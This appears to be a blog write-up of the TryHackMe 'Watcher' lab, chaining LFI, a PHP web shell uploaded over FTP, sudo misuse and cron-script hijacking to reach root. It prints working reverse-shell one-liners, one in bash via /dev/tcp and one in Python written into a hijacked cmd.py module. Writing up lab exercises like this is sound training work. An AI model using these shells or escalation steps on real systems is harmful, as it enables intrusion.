C R E A T E & D E S T R OY

Watcher | TryHackMe

A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques. Medium difficulty.

Starting with an nmap scan we see open FTP, SSH and HTTP.

nmap -sC -sV -T4 -oN initial
Nmap scan report for
Host is up (0.030s latency).
Not shown: 997 closed tcp ports (conn-refused)
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corkplacemats
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

FTP doesn’t accept anonymous logins so on to poke at the web server.

Well, you’ve got to buy them somewhere I suppose…

I like feroxbuster and initially the /dirb/common.txt wordlist for a quick overview of hidden files and folders. There’s not a lot of results but we’ll take a look at the robots.txt which gives our first flag and a file we don’t have access to.

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Back to poke around the website and see if there’s anything to break.


This type of URL format is always worth investigating and as hoped allows for LFI.

I spent a bit of time trying to access Apache logs to see if we could do some sort of log poisoning before remembering there was a file we didn’t previously have access to; which gives us our first set of credentials.

Hi Mat, The credentials for the FTP server are below. I’ve set the files to be saved to /home/ftpuser/ftp/files. Will ———- ftpuser:givemefiles777

We also have the location of the FTP folder on the server, meaning with a bit of luck we can escalate our LFI to an RCE.

ftp> ls
229 Entering Extended Passive Mode (|||49671|)
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files
-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt
226 Directory send OK.

We get flag 2 and we’ll try upload a PHP shell into the files directory.

ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||40504|)
150 Ok to send data.
100% |*********************************************************************************|  5494       24.48 MiB/s    00:00 ETA
226 Transfer complete.
5494 bytes sent in 00:00 (84.60 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||46756|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001         5494 Aug 11 08:25 shell.php
226 Directory send OK.

Since we know where the FTP folder is located on the server we can return to our previous LFI run the PHP script.

Initial foothold as www-data

Initial exploration of the www server finds us flag 3 in /var/www/html/more_secrets_a9f10a and sudo -l tells us we can run any command as user toby so sudo -u toby /bin/bash pops a shell as our first named user, toby.

Inside toby’s home directory we find flag 4 and a note, telling us a script we have write permissions to is running as a cronjob. The easiest thing to do here is append a bash reverse shell into the script and wait for a connection on our listener.

*/1 * * * * mat /home/toby/jobs/cow.sh

echo "sh -i >& /dev/tcp/ 0>&1" >> cow.sh

Right on queue, we’ve escalated to mat.

Mat’s home folder contains our next flag, 5, another note and a folder containing two Python scripts.

Hi Mat, I’ve set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe. Will

(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

Mat is able to run will_script.py as will and is able to write to cmd.py inside the same folder.

import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")


After a bit of reading I discovered that we could hijack the request for the cmd library, as it’s unquoted it will look in the same directory first. With write access to the cmd.py we can just insert a python reverse shell and when we run will_script.py as will we’ll call a reverse shell as will.

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
There we are as Will.

Will’s home folder contains flag 6 but no obvious escalation vectors. After a bit of digging around I find a backups folder in /opt. It’s owned by root and accessible by members of the admin group. Unsurprisingly, Will is a member of the admins group so can access the folder. Inside we find key.b64. If the name wasn’t enough of a giveaway, the contents are clearly base64 encoded and contain a private key.

I like CyberChef for decoding.

It is the SSH key for the root user, access to flag 7 and the end of the machine.

This box was a mile wide and an inch deep. It was a fun dash through various privilege escalation techniques but probably not worth of its Medium Difficulty tag. I do always enjoy bouncing through various users and shells though.

Leave a Reply

Your email address will not be published. Required fields are marked *